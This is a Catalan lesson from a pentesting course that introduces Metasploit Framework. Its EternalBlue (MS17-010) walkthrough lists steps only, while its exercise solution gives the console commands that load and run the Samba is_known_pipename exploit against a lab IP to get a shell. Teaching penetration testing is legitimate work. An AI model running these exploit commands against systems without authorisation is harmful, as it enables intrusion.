Introducció
El Metasploit Framework és una eina de codi obert utilitzada per a proves de penetració i investigació de seguretat. Desenvolupada per Rapid7, Metasploit permet als pentesters i investigadors de seguretat identificar, explotar i validar vulnerabilitats en sistemes i aplicacions.
Objectius d'aquest tema:
- Entendre què és Metasploit Framework i per a què s'utilitza.
- Aprendre a instal·lar i configurar Metasploit.
- Familiaritzar-se amb les funcionalitats bàsiques de Metasploit.
- Realitzar un exemple pràctic d'explotació amb Metasploit.
Què és Metasploit Framework?
Metasploit Framework és una plataforma que proporciona eines per a la realització de proves de penetració. Inclou una àmplia varietat de mòduls que permeten:
- Escanejar i enumerar serveis.
- Explorar vulnerabilitats.
- Explotar sistemes vulnerables.
- Realitzar post-explotació.
Característiques clau:
- Modularitat: Metasploit està compost per mòduls que poden ser carregats i utilitzats de manera independent.
- Actualitzacions constants: La comunitat i Rapid7 actualitzen regularment Metasploit amb nous mòduls i funcionalitats.
- Interfície d'usuari: Ofereix tant una interfície de línia de comandes (CLI) com una interfície gràfica (GUI) a través de Metasploit Community.
Instal·lació de Metasploit
Requisits previs:
- Sistema operatiu: Kali Linux (recomanat), Ubuntu, Windows, macOS.
- Privilegis d'administrador.
Instal·lació en Kali Linux:
Kali Linux ve amb Metasploit preinstal·lat. Per assegurar-te que tens la versió més recent, pots actualitzar-lo amb les següents comandes:
Instal·lació en altres sistemes operatius:
Per instal·lar Metasploit en altres sistemes operatius, pots seguir les instruccions oficials a la documentació de Metasploit.
Funcionalitats Bàsiques de Metasploit
Interfície de Línia de Comandes (CLI)
Iniciar Metasploit:
Comandes bàsiques:
- search: Cerca mòduls.
search type:exploit name:windows
- use: Carrega un mòdul específic.
use exploit/windows/smb/ms17_010_eternalblue
- show options: Mostra les opcions configurables del mòdul carregat.
show options
- set: Configura una opció específica.
set RHOSTS 192.168.1.100
- run o exploit: Executa el mòdul carregat.
run
Interfície Gràfica (GUI)
Metasploit Community ofereix una interfície gràfica que facilita la gestió de projectes i la realització de proves de penetració. Pots accedir-hi a través del navegador web després d'instal·lar Metasploit Community.
Exemple Pràctic d'Explotació amb Metasploit
Escenari:
Explotarem una vulnerabilitat en un sistema Windows 7 utilitzant l'exploit EternalBlue (MS17-010).
Pas 1: Iniciar Metasploit
Pas 2: Cercar l'exploit EternalBlue
Pas 3: Carregar l'exploit
Pas 4: Configurar les opcions necessàries
Pas 5: Executar l'exploit
Resultat:
Si l'explotació és exitosa, obtindrem una sessió de shell en el sistema objectiu.
Exercici Pràctic
Objectiu:
Realitzar una explotació utilitzant Metasploit per comprometre un sistema vulnerable.
Passos:
- Inicia Metasploit amb
msfconsole
. - Cerca un exploit per a una vulnerabilitat coneguda en un sistema Linux.
- Carrega l'exploit i configura les opcions necessàries.
- Executa l'exploit i comprova si has obtingut accés al sistema objectiu.
Solució:
- Inicia Metasploit:
msfconsole
- Cerca un exploit:
search type:exploit platform:linux
- Carrega l'exploit:
use exploit/linux/samba/is_known_pipename
- Configura les opcions:
set RHOSTS 192.168.1.101 set LHOST 192.168.1.50
- Executa l'exploit:
run
Errors Comuns i Consells
- Error: No s'ha pogut connectar a l'objectiu: Assegura't que l'adreça IP de l'objectiu és correcta i que el sistema és accessible.
- Error: L'exploit no ha tingut èxit: Revisa les opcions configurades i assegura't que la vulnerabilitat existeix en el sistema objectiu.
- Consell: Utilitza
show options
per verificar que totes les opcions necessàries estan configurades correctament abans d'executar l'exploit.
Conclusió
Metasploit Framework és una eina poderosa i versàtil per a proves de penetració. Amb una comprensió bàsica de les seves funcionalitats i una pràctica constant, pots convertir-te en un expert en l'ús de Metasploit per identificar i explotar vulnerabilitats en sistemes i aplicacions.
Curs de Pentesting: Tècniques de Proves de Penetració
Mòdul 1: Introducció al Pentesting
Mòdul 2: Reconeixement i Recollida d'Informació
Mòdul 3: Escaneig i Enumeració
Mòdul 4: Explotació de Vulnerabilitats
- Introducció a l'Explotació
- Explotació de Vulnerabilitats Web
- Explotació de Vulnerabilitats de Xarxa
- Explotació de Vulnerabilitats de Sistemes